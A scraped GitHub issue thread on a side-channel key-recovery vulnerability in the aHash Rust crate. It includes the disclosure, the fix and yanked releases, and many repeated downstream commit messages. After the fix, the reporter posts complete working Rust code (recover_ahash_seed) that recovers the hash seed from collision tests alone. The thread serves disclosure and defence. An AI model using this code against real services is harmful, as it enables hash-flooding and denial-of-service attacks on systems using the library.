-
Notifications
You must be signed in to change notification settings - Fork 101
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Critical vulnerability: complete key recovery of AES-based hash through side-channels #163
Comments
This change adds a test which probes for issues with sparse inputs on the fast path. This fixes #163 in multiple ways. Each of the improvements have been tested individually and in various combinations with weakened versions of other parts of the algorithm to insure they work as intended and provide a benefit. Signed-off-by: Tom Kaitchuck <Tom.Kaitchuck@gmail.com>
Published fix in 0.8.4. |
For anyone who comes here from search: UPD: 0.7.7 was released, now Thank you! It seems that this mass-yank broke a lot of CLIs that depended on these versions. I'm not yet sure, but it seems that anything that's installed by
Not sure of severity here, I'd be glad if it only broke a few CLIs. |
starting a new project (with no lock file) with any crate with ahash as a deps is now broken .. it's a pretty big impact on the ecosystem, I understand the purpose of yanking ... but the situation feel a bit hard on many people/project. Any way thanks for behing security focused, I think cargo need to be a bit less strict with yanked package, that can help. |
This change adds a test which probes for issues with sparse inputs on the fast path. This fixes #163 in multiple ways. Each of the improvements have been tested individually and in various combinations with weakened versions of other parts of the algorithm to insure they work as intended and provide a benefit. Signed-off-by: Tom Kaitchuck <Tom.Kaitchuck@gmail.com>
This change adds a test which probes for issues with sparse inputs on the fast path. This fixes #163 in multiple ways. Each of the improvements have been tested individually and in various combinations with weakened versions of other parts of the algorithm to insure they work as intended and provide a benefit. Signed-off-by: Tom Kaitchuck <Tom.Kaitchuck@gmail.com>
This change adds a test which probes for issues with sparse inputs on the fast path. This fixes #163 in multiple ways. Each of the improvements have been tested individually and in various combinations with weakened versions of other parts of the algorithm to insure they work as intended and provide a benefit. Signed-off-by: Tom Kaitchuck <Tom.Kaitchuck@gmail.com>
Patches have been released in the from of versions |
I can confirm that the changes foil my attack. I spent a few hours staring at the new function and couldn't find a similar attack, but I would like to note that I'm not a professional cryptographer, and that this should not be considered an audit. Since the issue is now fixed I will post the omitted fn aesround(value: [u8; 16]) -> [u8; 16] {
#[cfg(target_arch = "x86")]
use core::arch::x86::*;
#[cfg(target_arch = "x86_64")]
use core::arch::x86_64::*;
let r = unsafe { _mm_aesenc_si128(bytemuck::cast(value), bytemuck::cast(0u128)) };
bytemuck::cast(r)
}
pub fn invaesround(value: [u8; 16]) -> [u8; 16] {
#[cfg(target_arch = "x86")]
use core::arch::x86::*;
#[cfg(target_arch = "x86_64")]
use core::arch::x86_64::*;
let r = unsafe { _mm_aesdeclast_si128(_mm_aesimc_si128(bytemuck::cast(value)), bytemuck::cast(0u128)) };
bytemuck::cast(r)
}
fn test_guess<C: FnMut(&[u8], &[u8]) -> bool>(byte_idx: usize, byte_guess: u8, test_diff: u8, collides: &mut C) -> bool {
let zero = [0u8; 16];
let aeszero = aesround(zero);
let mut a = zero;
let mut b = zero;
let mut abdiff = zero;
a[byte_idx] = byte_guess;
b[byte_idx] = byte_guess ^ test_diff;
abdiff[byte_idx] = test_diff;
let mut cancel_aes_abdiff = aesround(abdiff);
for i in 0..16 {
cancel_aes_abdiff[i] ^= aeszero[i];
}
let mut s1 = Vec::with_capacity(128);
s1.extend_from_slice(&zero);
s1.extend_from_slice(&cancel_aes_abdiff);
s1.extend_from_slice(&zero);
s1.extend_from_slice(&zero);
s1.extend_from_slice(&b);
s1.extend_from_slice(&a);
s1.extend_from_slice(&zero);
s1.extend_from_slice(&zero);
let mut s2 = Vec::with_capacity(128);
s2.extend_from_slice(&cancel_aes_abdiff);
s2.extend_from_slice(&zero);
s2.extend_from_slice(&zero);
s2.extend_from_slice(&zero);
s2.extend_from_slice(&a);
s2.extend_from_slice(&b);
s2.extend_from_slice(&zero);
s2.extend_from_slice(&zero);
collides(&s1, &s2)
}
pub fn recover_ahash_seed<C: FnMut(&[u8], &[u8]) -> bool>(collides: &mut C) -> u128 {
let mut decoded = [0u8; 16];
'decode_next_pos: for i in 0..16 {
let mut guesses: Vec<_> = (0..=u8::MAX).collect();
for diff in 1..=u8::MAX {
guesses.retain(|guess| test_guess(i, *guess, diff, collides));
if guesses.len() == 1 {
decoded[i] = guesses[0];
continue 'decode_next_pos;
}
}
unreachable!("could not decode - should be impossible");
}
bytemuck::cast(invaesround(decoded))
} |
Is it possible to undo the |
@ikopylov The readme does state "Specifically, aHash is not intended for network use or in applications which persist hashed values." =/ |
Earlier versions of the `ahash` crate have been yanked due to tkaitchuck/aHash#163, causing `cargo audit` to [fail]. This branch updates the lockfile dependency to the latest version. [fail]: https://github.com/linkerd/linkerd2/actions/runs/6656864192/job/18090361618?pr=11537 Signed-off-by: Alex Leong <alex@buoyant.io> Co-authored-by: Alex Leong <alex@buoyant.io>
This branch _should_ fix the CI issues caused by tkaitchuck/aHash#163. (We can't move to 0.8.5 for MSRV reasons.) Co-authored-by: Eliza Weisman <eliza@buoyant.io>
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
This branch _should_ fix the CI issues caused by tkaitchuck/aHash#163. (We can't move to 0.8.5 for MSRV reasons.) Co-authored-by: Eliza Weisman <eliza@buoyant.io>
This branch _should_ fix the CI issues caused by tkaitchuck/aHash#163. (We can't move to 0.8.5 for MSRV reasons.) Co-authored-by: Eliza Weisman <eliza@buoyant.io>
This branch _should_ fix the CI issues caused by tkaitchuck/aHash#163. (We can't move to 0.8.5 for MSRV reasons.) Co-authored-by: Eliza Weisman <eliza@buoyant.io>
This branch _should_ fix the CI issues caused by tkaitchuck/aHash#163. (We can't move to 0.8.5 for MSRV reasons.) Co-authored-by: Eliza Weisman <eliza@buoyant.io>
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
This branch _should_ fix the CI issues caused by tkaitchuck/aHash#163. (We can't move to 0.8.5 for MSRV reasons.) Co-authored-by: Eliza Weisman <eliza@buoyant.io>
tkaitchuck/aHash#196 bumped the MSRV of `ahash` in a patch release, which makes it rather difficult for us to have it as a dependency. Further, it seems that `ahash` hasn't been particularly robust in the past, notably tkaitchuck/aHash#163 and tkaitchuck/aHash#166. Luckily, `core` provides `SipHasher` even on no-std (sadly its SipHash-2-4 unlike the SipHash-1-3 used by the `DefaultHasher` in `std`). Thus, we drop the `ahash` dependency entirely here and simply wrap `SipHasher` for our `no-std` HashMaps.
The AES version of aHash only performs a single round of AES between inputs. This is not sufficient, a single-bit difference only gets amplified once in the SubBytes step, leading to one of 256 possibilities, but nothing further. An attacker can guess this to recover the key byte-by-byte, leading to a complete key recovery in ~4000 tests. Note that the only thing an attacker has to see is whether two inputs collide, nothing else. The attack can thus be done entirely through side-channels.
That is, the following program (instantly) succeeds when compiled with
-C target-feature=+aes
. Again note thatrecover_ahash_seed
is completely blind to the hash outputs, and only gets to test ifh(s1) == h(s2)
. This can be done in e.g. hash tables through timing attacks.While it may be possible to thwart this particular instantiation of this attack using a different input schedule, I find the usage of only a single round of AES between input absorption to be deeply disturbing as it is simply insufficiently mixing. I strongly implore you to use at least two rounds between accepting input into the hash state, like Go's AES-based hash does.
For the purpose of responsible disclosure I have not included
recover_ahash_seed
here. It's not particularly sophisticated however - it's about 70 lines of code, 20 of which is AES intrinsic boilerplate. If you wish I can send the source code of it to a maintainer through private communication, please specify how/where you would wish to receive it. To give you time to fix this vulnerability, while it remains active I will not publicize the details of the attack or the source code before 1st of January 2024.The text was updated successfully, but these errors were encountered: